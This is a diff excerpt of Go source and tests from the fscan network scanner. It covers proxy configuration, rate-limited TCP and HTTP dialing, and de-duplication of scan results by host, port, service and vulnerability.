||||
globalProxyOnce.Do(func() {
|
||||
// 创建代理配置
|
||||
config := createProxyConfig(timeout)
|
||||
|
||||
// 创建代理管理器
|
||||
manager := proxy.NewProxyManager(config)
|
||||
|
||||
// 创建拨号器
|
||||
globalProxyDialer, globalProxyInitErr = manager.GetDialer()
|
||||
})
|
||||
|
||||
return globalProxyDialer, globalProxyInitErr
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 代理配置
|
||||
// =============================================================================
|
||||
|
||||
// parseProxyURL 解析代理URL,提取地址和认证信息
|
||||
func parseProxyURL(proxyURL, fallback string) (host, username, password string) {
|
||||
if !strings.Contains(proxyURL, "://") {
|
||||
if host, username, password, ok := parseProxyURLCandidate("http://" + proxyURL); ok {
|
||||
return host, username, password
|
||||
}
|
||||
}
|
||||
if host, username, password, ok := parseProxyURLCandidate(proxyURL); ok {
|
||||
return host, username, password
|
||||
}
|
||||
return fallback, "", ""
|
||||
}
|
||||
|
||||
func parseProxyURLCandidate(proxyURL string) (host, username, password string, ok bool) {
|
||||
parsedURL, err := url.Parse(proxyURL)
|
||||
if err != nil {
|
||||
return "", "", "", false
|
||||
}
|
||||
host = parsedURL.Host
|
||||
if host == "" {
|
||||
return "", "", "", false
|
||||
}
|
||||
if parsedURL.User != nil {
|
||||
username = parsedURL.User.Username()
|
||||
password, _ = parsedURL.User.Password()
|
||||
}
|
||||
return host, username, password, true
|
||||
}
|
||||
|
||||
// createProxyConfig 根据全局设置创建代理配置
|
||||
func createProxyConfig(timeout time.Duration) *proxy.ProxyConfig {
|
||||
fv := GetFlagVars()
|
||||
config := proxy.DefaultProxyConfig()
|
||||
config.Timeout = timeout
|
||||
config.LocalAddr = fv.Iface // 设置本地网卡IP地址
|
||||
|
||||
// 优先使用SOCKS5代理
|
||||
if fv.Socks5Proxy != "" {
|
||||
config.Type = proxy.ProxyTypeSOCKS5
|
||||
// 确保有协议前缀以便解析
|
||||
socks5URL := fv.Socks5Proxy
|
||||
if !strings.HasPrefix(socks5URL, "socks5://") {
|
||||
socks5URL = "socks5://" + socks5URL
|
||||
}
|
||||
config.Address, config.Username, config.Password = parseProxyURL(socks5URL, fv.Socks5Proxy)
|
||||
return config
|
||||
}
|
||||
|
||||
// 其次使用HTTP代理
|
||||
if fv.HTTPProxy != "" {
|
||||
if strings.HasPrefix(fv.HTTPProxy, "https://") {
|
||||
config.Type = proxy.ProxyTypeHTTPS
|
||||
} else {
|
||||
config.Type = proxy.ProxyTypeHTTP
|
||||
}
|
||||
config.Address, config.Username, config.Password = parseProxyURL(fv.HTTPProxy, fv.HTTPProxy)
|
||||
return config
|
||||
}
|
||||
|
||||
// 无代理配置,使用直连
|
||||
config.Type = proxy.ProxyTypeNone
|
||||
return config
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// TCP 连接
|
||||
// =============================================================================
|
||||
|
||||
// Deprecated: WrapperTcpWithTimeout 仅供 libs/grdp 兼容使用,新代码请用 ScanSession.DialTCP
|
||||
//
|
||||
//nolint:revive
|
||||
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
|
||||
// 检查发包限制 - 在代理连接前进行控制
|
||||
if canSend, reason := CanSendPacket(); !canSend {
|
||||
LogError(i18n.Tr("tcp_connection_restricted", address, reason))
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
|
||||
}
|
||||
|
||||
// 获取全局拨号器(复用,避免重复创建)
|
||||
dialer, err := getGlobalDialer(timeout)
|
||||
if err != nil {
|
||||
LogError(i18n.Tr("proxy_dialer_failed", err))
|
||||
GetGlobalState().IncrementTCPFailedPacketCount()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 使用代理拨号器连接
|
||||
conn, err := dialer.DialContext(context.Background(), network, address)
|
||||
|
||||
// 统计TCP包数量 - 无论是否使用代理都要计数
|
||||
if err != nil {
|
||||
GetGlobalState().IncrementTCPFailedPacketCount()
|
||||
LogDebug(i18n.Tr("connection_failed", address, err))
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 连接成功,统计成功包
|
||||
GetGlobalState().IncrementTCPSuccessPacketCount()
|
||||
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// SafeTCPDial TCP连接的便捷封装
|
||||
// 直接调用WrapperTcpWithTimeout,自动处理发包限制、代理和统计
|
||||
func SafeTCPDial(address string, timeout time.Duration) (net.Conn, error) {
|
||||
return WrapperTcpWithTimeout("tcp", address, timeout)
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// HTTP 请求
|
||||
// =============================================================================
|
||||
|
||||
// IsProxyEnabled 检查是否启用了代理(封装proxy包的函数)
|
||||
func IsProxyEnabled() bool {
|
||||
return proxy.IsProxyEnabled()
|
||||
}
|
||||
|
||||
// IsProxyReliable 检查代理是否可靠(不存在全回显问题)
|
||||
func IsProxyReliable() bool {
|
||||
return proxy.IsProxyReliable()
|
||||
}
|
||||
|
||||
// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型
|
||||
func IsSOCKS5Proxy() bool {
|
||||
return proxy.IsSOCKS5Proxy()
|
||||
}
|
||||
|
||||
// SafeHTTPDo 带发包控制的HTTP请求
|
||||
func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) {
|
||||
// 检查发包限制
|
||||
if canSend, reason := CanSendPacket(); !canSend {
|
||||
LogError(i18n.Tr("http_request_restricted", req.URL.String(), reason))
|
||||
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
|
||||
}
|
||||
|
||||
// 执行HTTP请求
|
||||
resp, err := client.Do(req)
|
||||
|
||||
// 统计TCP包数量 (HTTP本质上是TCP)
|
||||
if err != nil {
|
||||
GetGlobalState().IncrementTCPFailedPacketCount()
|
||||
} else {
|
||||
GetGlobalState().IncrementTCPSuccessPacketCount()
|
||||
}
|
||||
|
||||
return resp, err
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/proxy"
|
||||
)
|
||||
|
||||
func TestNetworkFacadeProxyState(t *testing.T) {
|
||||
t.Cleanup(func() { proxy.AutoConfigureProxy(proxy.DefaultProxyConfig()) })
|
||||
proxy.AutoConfigureProxy(proxy.DefaultProxyConfig())
|
||||
|
||||
if IsProxyEnabled() || IsSOCKS5Proxy() || !IsProxyReliable() {
|
||||
t.Fatal("direct global proxy state should be disabled and reliable")
|
||||
}
|
||||
|
||||
proxy.AutoConfigureProxy(&proxy.ProxyConfig{Type: proxy.ProxyTypeSOCKS5})
|
||||
if !IsProxyEnabled() || !IsSOCKS5Proxy() || !IsProxyReliable() {
|
||||
t.Fatal("SOCKS5 global proxy state should be enabled and SOCKS5")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSafeHTTPDoUsesGlobalPacketLimit(t *testing.T) {
|
||||
previousConfig := GetGlobalConfig()
|
||||
previousState := GetGlobalState()
|
||||
t.Cleanup(func() {
|
||||
SetGlobalConfig(previousConfig)
|
||||
SetGlobalState(previousState)
|
||||
})
|
||||
|
||||
cfg := NewConfig()
|
||||
cfg.Network.MaxPacketCount = 1
|
||||
state := NewState()
|
||||
state.IncrementPacketCount()
|
||||
SetGlobalConfig(cfg)
|
||||
SetGlobalState(state)
|
||||
|
||||
client := &http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
|
||||
t.Fatal("transport should not be called when packet limit is reached")
|
||||
return nil, nil
|
||||
})}
|
||||
req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, "http://example.com", nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if resp, err := SafeHTTPDo(client, req); err == nil || resp != nil {
|
||||
t.Fatalf("SafeHTTPDo = resp %#v err %v, want limit error", resp, err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,180 @@
|
||||
package output
|
||||
|
||||
import "sync"
|
||||
|
||||
// ResultBuffer 公共的去重缓冲逻辑,供各Writer复用
|
||||
type ResultBuffer struct {
|
||||
mu sync.Mutex
|
||||
|
||||
// 分类缓冲
|
||||
HostResults []*ScanResult
|
||||
PortResults []*ScanResult
|
||||
ServiceResults []*ScanResult
|
||||
VulnResults []*ScanResult
|
||||
|
||||
// 去重map
|
||||
seenHosts map[string]struct{}
|
||||
seenPorts map[string]struct{}
|
||||
seenServices map[string]int // 存储索引,用于更新更完整的记录
|
||||
seenVulns map[string]struct{}
|
||||
}
|
||||
|
||||
// NewResultBuffer 创建新的结果缓冲
|
||||
func NewResultBuffer() *ResultBuffer {
|
||||
return &ResultBuffer{
|
||||
seenHosts: make(map[string]struct{}, 256),
|
||||
seenPorts: make(map[string]struct{}, 512),
|
||||
seenServices: make(map[string]int, 128),
|
||||
seenVulns: make(map[string]struct{}, 64),
|
||||
}
|
||||
}
|
||||
|
||||
// Add 添加结果到缓冲(自动去重)
|
||||
func (b *ResultBuffer) Add(result *ScanResult) {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
|
||||
if result == nil {
|
||||
return
|
||||
}
|
||||
|
||||
key := b.generateKey(result)
|
||||
|
||||
switch result.Type {
|
||||
case TypeHost:
|
||||
if _, exists := b.seenHosts[key]; !exists {
|
||||
b.seenHosts[key] = struct{}{}
|
||||
b.HostResults = append(b.HostResults, result)
|
||||
}
|
||||
case TypePort:
|
||||
if _, exists := b.seenPorts[key]; !exists {
|
||||
b.seenPorts[key] = struct{}{}
|
||||
b.PortResults = append(b.PortResults, result)
|
||||
}
|
||||
case TypeService:
|
||||
if idx, exists := b.seenServices[key]; !exists {
|
||||
b.seenServices[key] = len(b.ServiceResults)
|
||||
b.ServiceResults = append(b.ServiceResults, result)
|
||||
} else {
|
||||
b.mergeDetails(b.ServiceResults[idx], result)
|
||||
// 保留信息更完整的记录,同时保留另一条记录补充的字段
|
||||
if b.isMoreComplete(result, b.ServiceResults[idx]) {
|
||||
b.ServiceResults[idx] = result
|
||||
}
|
||||
}
|
||||
case TypeVuln:
|
||||
if _, exists := b.seenVulns[key]; !exists {
|
||||
b.seenVulns[key] = struct{}{}
|
||||
b.VulnResults = append(b.VulnResults, result)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) {
|
||||
if oldResult == nil || newResult == nil {
|
||||
return
|
||||
}
|
||||
if oldResult.Details == nil {
|
||||
oldResult.Details = make(map[string]interface{})
|
||||
}
|
||||
if newResult.Details == nil {
|
||||
newResult.Details = make(map[string]interface{})
|
||||
}
|
||||
for k, v := range oldResult.Details {
|
||||
if _, exists := newResult.Details[k]; !exists {
|
||||
newResult.Details[k] = v
|
||||
}
|
||||
}
|
||||
for k, v := range newResult.Details {
|
||||
if _, exists := oldResult.Details[k]; !exists {
|
||||
oldResult.Details[k] = v
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// generateKey 生成结果的唯一键(用于去重)
|
||||
func (b *ResultBuffer) generateKey(result *ScanResult) string {
|
||||
switch result.Type {
|
||||
case TypeHost:
|
||||
return result.Target
|
||||
case TypePort:
|
||||
if result.Details != nil {
|
||||
if port, ok := result.Details["port"]; ok {
|
||||
return targetWithPort(result.Target, port)
|
||||
}
|
||||
}
|
||||
return result.Target
|
||||
case TypeService:
|
||||
return result.Target
|
||||
case TypeVuln:
|
||||
return result.Target + "|" + result.Status
|
||||
default:
|
||||
return result.Target + "|" + result.Status
|
||||
}
|
||||
}
|
||||
|
||||
// isMoreComplete 判断新记录是否比旧记录信息更完整
|
||||
func (b *ResultBuffer) isMoreComplete(newResult, oldResult *ScanResult) bool {
|
||||
return b.CalculateCompleteness(newResult) > b.CalculateCompleteness(oldResult)
|
||||
}
|
||||
|
||||
// CalculateCompleteness 计算记录的信息完整度
|
||||
func (b *ResultBuffer) CalculateCompleteness(result *ScanResult) int {
|
||||
score := 0
|
||||
if result.Details == nil {
|
||||
return score
|
||||
}
|
||||
|
||||
// 有 status 码加分
|
||||
if status, ok := result.Details["status"]; ok && status != nil && status != 0 {
|
||||
score += 2
|
||||
}
|
||||
// 有 server 加分
|
||||
if server, ok := result.Details["server"].(string); ok && server != "" {
|
||||
score += 2
|
||||
}
|
||||
// 有 title 加分
|
||||
if title, ok := result.Details["title"].(string); ok && title != "" {
|
||||
score += 1
|
||||
}
|
||||
// 有指纹加分
|
||||
if fps := result.Details["fingerprints"]; fps != nil {
|
||||
switch v := fps.(type) {
|
||||
case []string:
|
||||
if len(v) > 0 {
|
||||
score += 3
|
||||
}
|
||||
case []interface{}:
|
||||
if len(v) > 0 {
|
||||
score += 3
|
||||
}
|
||||
}
|
||||
}
|
||||
// 有 banner 加分
|
||||
if banner, ok := result.Details["banner"].(string); ok && banner != "" {
|
||||
score += 1
|
||||
}
|
||||
|
||||
return score
|
||||
}
|
||||
|
||||
// Summary 获取统计摘要
|
||||
func (b *ResultBuffer) Summary() (hosts, ports, services, vulns int) {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
return len(b.HostResults), len(b.PortResults), len(b.ServiceResults), len(b.VulnResults)
|
||||
}
|
||||
|
||||
// Clear 清空缓冲
|
||||
func (b *ResultBuffer) Clear() {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
b.HostResults = nil
|
||||
b.PortResults = nil
|
||||
b.ServiceResults = nil
|
||||
b.VulnResults = nil
|
||||
b.seenHosts = make(map[string]struct{})
|
||||
b.seenPorts = make(map[string]struct{})
|
||||
b.seenServices = make(map[string]int)
|
||||
b.seenVulns = make(map[string]struct{})
|
||||
}
|
||||
@@ -0,0 +1,475 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
/*
|
||||
buffer_test.go - ResultBuffer 高价值测试
|
||||
|
||||
测试重点:
|
||||
1. 去重逻辑 - 不同结果类型的去重策略差异
|
||||
2. 完整度评分 - 决定是否替换已有服务记录
|
||||
3. 并发安全 - 多goroutine同时Add
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 基本去重测试
|
||||
// =============================================================================
|
||||
|
||||
// TestResultBuffer_HostDeduplication 测试主机去重
|
||||
func TestResultBuffer_HostDeduplication(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 添加相同主机多次
|
||||
for i := 0; i < 10; i++ {
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: "192.168.1.1",
|
||||
Status: "alive",
|
||||
})
|
||||
}
|
||||
|
||||
hosts, _, _, _ := buf.Summary()
|
||||
if hosts != 1 {
|
||||
t.Errorf("主机应去重为1个,实际 %d", hosts)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_PortDeduplication 测试端口去重
|
||||
func TestResultBuffer_PortDeduplication(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 相同IP:Port应去重
|
||||
for i := 0; i < 5; i++ {
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypePort,
|
||||
Target: "192.168.1.1",
|
||||
Details: map[string]interface{}{"port": 80},
|
||||
})
|
||||
}
|
||||
|
||||
// 不同端口不去重
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypePort,
|
||||
Target: "192.168.1.1",
|
||||
Details: map[string]interface{}{"port": 443},
|
||||
})
|
||||
|
||||
_, ports, _, _ := buf.Summary()
|
||||
if ports != 2 {
|
||||
t.Errorf("端口应有2个(80和443),实际 %d", ports)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_ServiceDeduplication 测试服务去重
|
||||
func TestResultBuffer_ServiceDeduplication(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 相同Target的服务应去重
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
})
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "nginx",
|
||||
})
|
||||
|
||||
_, _, services, _ := buf.Summary()
|
||||
if services != 1 {
|
||||
t.Errorf("相同Target的服务应去重为1个,实际 %d", services)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_VulnDeduplication 测试漏洞去重
|
||||
func TestResultBuffer_VulnDeduplication(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 相同Target+Status的漏洞应去重
|
||||
for i := 0; i < 3; i++ {
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeVuln,
|
||||
Target: "192.168.1.1:445",
|
||||
Status: "MS17-010",
|
||||
})
|
||||
}
|
||||
|
||||
// 不同漏洞不去重
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeVuln,
|
||||
Target: "192.168.1.1:445",
|
||||
Status: "CVE-2020-0796",
|
||||
})
|
||||
|
||||
_, _, _, vulns := buf.Summary()
|
||||
if vulns != 2 {
|
||||
t.Errorf("漏洞应有2个,实际 %d", vulns)
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 完整度评分测试
|
||||
// =============================================================================
|
||||
|
||||
// TestResultBuffer_CompletenessScore 测试完整度评分
|
||||
func TestResultBuffer_CompletenessScore(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
result *ScanResult
|
||||
expectedScore int
|
||||
}{
|
||||
{
|
||||
name: "空Details",
|
||||
result: &ScanResult{Details: nil},
|
||||
expectedScore: 0,
|
||||
},
|
||||
{
|
||||
name: "只有status",
|
||||
result: &ScanResult{Details: map[string]interface{}{"status": 200}},
|
||||
expectedScore: 2,
|
||||
},
|
||||
{
|
||||
name: "有server",
|
||||
result: &ScanResult{Details: map[string]interface{}{"server": "nginx/1.18.0"}},
|
||||
expectedScore: 2,
|
||||
},
|
||||
{
|
||||
name: "有title",
|
||||
result: &ScanResult{Details: map[string]interface{}{"title": "Welcome"}},
|
||||
expectedScore: 1,
|
||||
},
|
||||
{
|
||||
name: "有指纹-[]string",
|
||||
result: &ScanResult{Details: map[string]interface{}{"fingerprints": []string{"nginx"}}},
|
||||
expectedScore: 3,
|
||||
},
|
||||
{
|
||||
name: "有指纹-[]interface{}",
|
||||
result: &ScanResult{Details: map[string]interface{}{"fingerprints": []interface{}{"apache", "php"}}},
|
||||
expectedScore: 3,
|
||||
},
|
||||
{
|
||||
name: "有banner",
|
||||
result: &ScanResult{Details: map[string]interface{}{"banner": "SSH-2.0-OpenSSH"}},
|
||||
expectedScore: 1,
|
||||
},
|
||||
{
|
||||
name: "完整记录",
|
||||
result: &ScanResult{
|
||||
Details: map[string]interface{}{
|
||||
"status": 200,
|
||||
"server": "nginx",
|
||||
"title": "Home",
|
||||
"fingerprints": []string{"nginx", "php"},
|
||||
"banner": "test",
|
||||
},
|
||||
},
|
||||
expectedScore: 9, // 2+2+1+3+1
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
score := buf.CalculateCompleteness(tt.result)
|
||||
if score != tt.expectedScore {
|
||||
t.Errorf("完整度评分 = %d, 期望 %d", score, tt.expectedScore)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_ServiceUpdate 测试服务记录更新
|
||||
//
|
||||
// 当新记录比旧记录更完整时,应该替换
|
||||
func TestResultBuffer_ServiceUpdate(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 先添加简单记录
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
Details: map[string]interface{}{},
|
||||
})
|
||||
|
||||
// 再添加更完整的记录
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
Details: map[string]interface{}{
|
||||
"status": 200,
|
||||
"server": "nginx/1.18.0",
|
||||
"title": "Welcome",
|
||||
"fingerprints": []string{"nginx", "php"},
|
||||
},
|
||||
})
|
||||
|
||||
_, _, services, _ := buf.Summary()
|
||||
if services != 1 {
|
||||
t.Fatal("服务数量应为1")
|
||||
}
|
||||
|
||||
// 验证是更完整的记录
|
||||
if buf.ServiceResults[0].Details == nil {
|
||||
t.Fatal("Details不应为nil")
|
||||
}
|
||||
if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
|
||||
t.Error("应保留更完整的记录")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResultBuffer_ServiceUpdateMergesDetails(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "identified",
|
||||
Details: map[string]interface{}{
|
||||
"service": "http",
|
||||
"banner": "HTTP/1.1 200 OK",
|
||||
},
|
||||
})
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "web",
|
||||
Details: map[string]interface{}{
|
||||
"title": "Home",
|
||||
"status": 200,
|
||||
"server": "nginx",
|
||||
},
|
||||
})
|
||||
|
||||
if len(buf.ServiceResults) != 1 {
|
||||
t.Fatalf("期望1条服务记录,实际 %d", len(buf.ServiceResults))
|
||||
}
|
||||
details := buf.ServiceResults[0].Details
|
||||
for _, key := range []string{"service", "banner", "title", "status", "server"} {
|
||||
if _, ok := details[key]; !ok {
|
||||
t.Errorf("合并后的服务记录缺少字段 %q: %#v", key, details)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_ServiceNoDowngrade 测试不降级服务记录
|
||||
//
|
||||
// 当新记录不如旧记录完整时,不应替换
|
||||
func TestResultBuffer_ServiceNoDowngrade(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 先添加完整记录
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
Details: map[string]interface{}{
|
||||
"status": 200,
|
||||
"server": "nginx/1.18.0",
|
||||
"fingerprints": []string{"nginx"},
|
||||
},
|
||||
})
|
||||
|
||||
// 再添加简单记录
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
Details: map[string]interface{}{},
|
||||
})
|
||||
|
||||
// 验证仍保留完整记录
|
||||
if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
|
||||
t.Error("不应降级到不完整的记录")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 并发安全测试
|
||||
// =============================================================================
|
||||
|
||||
// TestResultBuffer_ConcurrentAdd 测试并发添加
|
||||
func TestResultBuffer_ConcurrentAdd(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
const goroutines = 100
|
||||
const resultsPerGoroutine = 100
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(goroutines)
|
||||
|
||||
for i := 0; i < goroutines; i++ {
|
||||
go func(id int) {
|
||||
defer wg.Done()
|
||||
for j := 0; j < resultsPerGoroutine; j++ {
|
||||
// 每个goroutine添加不同类型的结果
|
||||
switch j % 4 {
|
||||
case 0:
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: fmt.Sprintf("192.168.%d.%d", id, j),
|
||||
})
|
||||
case 1:
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypePort,
|
||||
Target: fmt.Sprintf("192.168.%d.%d", id, j),
|
||||
Details: map[string]interface{}{"port": j},
|
||||
})
|
||||
case 2:
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: fmt.Sprintf("192.168.%d.%d:%d", id, j, j),
|
||||
})
|
||||
case 3:
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeVuln,
|
||||
Target: fmt.Sprintf("192.168.%d.%d", id, j),
|
||||
Status: fmt.Sprintf("CVE-%d", j),
|
||||
})
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
// 验证没有panic,数据完整
|
||||
hosts, ports, services, vulns := buf.Summary()
|
||||
total := hosts + ports + services + vulns
|
||||
|
||||
if total == 0 {
|
||||
t.Error("并发添加后应有结果")
|
||||
}
|
||||
|
||||
t.Logf("并发测试完成: %d hosts, %d ports, %d services, %d vulns",
|
||||
hosts, ports, services, vulns)
|
||||
}
|
||||
|
||||
// TestResultBuffer_ConcurrentSummary 测试并发获取摘要
|
||||
func TestResultBuffer_ConcurrentSummary(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 预填充一些数据
|
||||
for i := 0; i < 100; i++ {
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: fmt.Sprintf("192.168.1.%d", i),
|
||||
})
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(100)
|
||||
|
||||
for i := 0; i < 100; i++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
// 同时获取摘要和添加
|
||||
buf.Summary()
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: "10.0.0.1",
|
||||
})
|
||||
}()
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
// 没有panic即为成功
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 边界情况测试
|
||||
// =============================================================================
|
||||
|
||||
// TestResultBuffer_NilResult 测试nil结果
|
||||
func TestResultBuffer_NilResult(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
buf.Add(nil) // 不应panic
|
||||
|
||||
hosts, ports, services, vulns := buf.Summary()
|
||||
if hosts+ports+services+vulns != 0 {
|
||||
t.Error("添加nil后应无结果")
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_PortWithoutDetails 测试无Details的端口
|
||||
func TestResultBuffer_PortWithoutDetails(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypePort,
|
||||
Target: "192.168.1.1",
|
||||
Details: nil,
|
||||
})
|
||||
|
||||
_, ports, _, _ := buf.Summary()
|
||||
if ports != 1 {
|
||||
t.Error("无Details的端口也应被添加")
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_Clear 测试清空
|
||||
func TestResultBuffer_Clear(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 添加各类结果
|
||||
buf.Add(&ScanResult{Type: TypeHost, Target: "192.168.1.1"})
|
||||
buf.Add(&ScanResult{Type: TypePort, Target: "192.168.1.1", Details: map[string]interface{}{"port": 80}})
|
||||
buf.Add(&ScanResult{Type: TypeService, Target: "192.168.1.1:80"})
|
||||
buf.Add(&ScanResult{Type: TypeVuln, Target: "192.168.1.1", Status: "CVE-2021-1234"})
|
||||
|
||||
// 清空
|
||||
buf.Clear()
|
||||
|
||||
hosts, ports, services, vulns := buf.Summary()
|
||||
if hosts+ports+services+vulns != 0 {
|
||||
t.Error("Clear后应无结果")
|
||||
}
|
||||
|
||||
// 验证可以继续添加
|
||||
buf.Add(&ScanResult{Type: TypeHost, Target: "10.0.0.1"})
|
||||
hosts, _, _, _ = buf.Summary()
|
||||
if hosts != 1 {
|
||||
t.Error("Clear后应能继续添加")
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_EmptyFingerprints 测试空指纹数组
|
||||
func TestResultBuffer_EmptyFingerprints(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 空字符串数组
|
||||
score1 := buf.CalculateCompleteness(&ScanResult{
|
||||
Details: map[string]interface{}{"fingerprints": []string{}},
|
||||
})
|
||||
if score1 != 0 {
|
||||
t.Errorf("空指纹数组不应加分,实际 %d", score1)
|
||||
}
|
||||
|
||||
// 空interface数组
|
||||
score2 := buf.CalculateCompleteness(&ScanResult{
|
||||
Details: map[string]interface{}{"fingerprints": []interface{}{}},
|
||||
})
|
||||
if score2 != 0 {
|
||||
t.Errorf("空interface数组不应加分,实际 %d", score2)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_StatusZero 测试status为0
|
||||
func TestResultBuffer_StatusZero(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
score := buf.CalculateCompleteness(&ScanResult{
|
||||
Details: map[string]interface{}{"status": 0},
|
||||
})
|
||||
if score != 0 {
|
||||
t.Errorf("status为0不应加分,实际 %d", score)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"os"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 输出格式常量
|
||||
// =============================================================================
|
||||
|
||||
// Format 输出格式类型
|
||||
type Format string
|
||||
|
||||
const (
|
||||
// FormatTXT 文本格式输出
|
||||
FormatTXT Format = "txt"
|
||||
// FormatJSON JSON格式输出
|
||||
FormatJSON Format = "json"
|
||||
// FormatCSV CSV格式输出
|
||||
FormatCSV Format = "csv"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 结果类型常量
|
||||
// =============================================================================
|
||||
|
||||
// ResultType 定义结果类型
|
||||
type ResultType string
|
||||
|
||||
const (
|
||||
// TypeHost 主机存活
|
||||
TypeHost ResultType = "HOST"
|
||||
// TypePort 端口开放
|
||||
TypePort ResultType = "PORT"
|
||||
// TypeService 服务识别
|
||||
TypeService ResultType = "SERVICE"
|
||||
// TypeVuln 漏洞发现
|
||||
TypeVuln ResultType = "VULN"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
